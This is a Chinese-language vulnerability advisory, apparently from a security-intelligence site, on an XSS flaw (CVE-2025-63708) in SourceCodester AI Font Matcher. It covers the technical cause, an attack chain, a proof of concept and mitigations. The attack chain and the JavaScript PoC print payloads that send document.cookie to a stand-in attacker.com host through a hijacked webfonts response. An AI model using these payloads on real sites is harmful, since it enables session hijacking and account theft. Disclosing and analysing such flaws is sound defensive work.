IPBUF安全漏洞报告
English
CVE-2025-63708 CVSS 6.1 中危

CVE-2025-63708 SourceCodester AI Font Matcher XSS漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-63708
漏洞类型
XSS跨站脚本攻击
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester AI Font Matcher

相关标签

CVE-2025-63708XSS跨站脚本攻击SourceCodesterAI Font MatcherWebfonts APISession HijackingCVSS 6.1中危漏洞前端安全

漏洞概述

CVE-2025-63708是SourceCodester AI Font Matcher项目中的一个跨站脚本(XSS)漏洞,CVSS评分6.1,中危级别。该漏洞存在于项目的webfonts API处理机制中,由于字体族名称(font family names)在处理和渲染过程中未进行充分的输入清理和输出编码,导致攻击者可以利用fetch hook拦截请求,并通过字体族名称参数注入恶意JavaScript代码。当受害者浏览器加载包含恶意字体数据的页面时,注入的脚本代码将在受害者上下文中执行,从而实现窃取会话Cookie、劫持用户账户、以受害者身份执行未授权操作等恶意行为。由于该漏洞需要用户交互(UI:R)才能触发,攻击者通常需要诱导用户访问特制页面或点击特定链接才能成功利用。漏洞披露于2025年11月17日,发现者为[email protected]

技术细节

该XSS漏洞的技术根源在于AI Font Matcher应用的webfonts API端点对用户输入的字体族名称缺乏安全过滤。具体来说,应用在处理fetch请求获取字体数据时,直接将用户可控的字体族名称参数用于DOM操作或动态脚本生成,而未进行HTML实体编码或JavaScript字符串转义。攻击者可以构造包含<script>标签、事件处理器(如onload、onerror)或JavaScript URI(如javascript:)的恶意字体名称,当这些数据被回显到页面或用于动态创建DOM元素时,浏览器会将其解析为可执行代码。漏洞利用的关键步骤包括:首先攻击者准备包含恶意字体数据的响应内容,通常是在字体族名称字段中嵌入JavaScript代码;然后通过中间人攻击或社会工程学手段诱导受害者发起fetch请求;最后当应用将未清理的数据渲染到页面时,恶意脚本即在受害者浏览器中执行。由于该漏洞影响的是API数据处理流程而非直接的页面输入,因此传统的输入验证可能无法完全覆盖此攻击面。

攻击链分析

STEP 1
步骤1
攻击者创建恶意字体数据,在字体族名称字段中嵌入XSS payload,如<img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie>
STEP 2
步骤2
攻击者通过中间人攻击、恶意代理或社会工程学手段,拦截或劫持受害者的fetch请求到webfonts API端点
STEP 3
步骤3
攻击者控制响应内容,返回包含恶意字体族名称的字体数据给受害者浏览器
STEP 4
步骤4
应用将未清理的字体族名称数据渲染到页面DOM中,浏览器将其解析为可执行脚本
STEP 5
步骤5
恶意JavaScript代码在受害者浏览器上下文中执行,成功窃取会话Cookie或执行其他未授权操作
STEP 6
步骤6
攻击者利用窃取的Cookie进行会话劫持,以受害者身份执行未授权操作或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63708 PoC - XSS via webfonts API // This PoC demonstrates exploiting the font family name XSS vulnerability // Step 1: Prepare malicious font data with XSS payload in font family name const maliciousFontData = { family: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', variants: ['regular'], subsets: ['latin'] }; // Step 2: Intercept and hook the fetch request to webfonts endpoint // This can be done via Service Worker or proxy self.addEventListener('fetch', (event) => { if (event.request.url.includes('/webfonts')) { event.respondWith( new Response(JSON.stringify({ fonts: [maliciousFontData] }), { headers: { 'Content-Type': 'application/json' } }) ); } }); // Alternative: Direct injection via URL parameter if reflected // Target URL: http://vulnerable-site.com/font-matcher?font=<script>malicious_code</script>

影响范围

SourceCodester AI Font Matcher (nid=18425) < 修复版本
AI Font Matcher 使用HTML/CSS/JavaScript的所有版本在2025-10-10之前

防御指南

临时缓解措施
在官方修复发布之前,可采取以下临时缓解措施:1)部署严格的输入验证机制,过滤字体族名称中的HTML标签和特殊字符;2)实施Content-Security-Policy响应头,限制脚本来源;3)对webfonts API使用HTTPS并启用HSTS防止中间人攻击;4)监控应用日志,检测异常的字体请求模式;5)考虑暂时禁用或限制webfonts API的公共访问;6)对用户会话实施额外的安全控制,如定期刷新会话ID。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表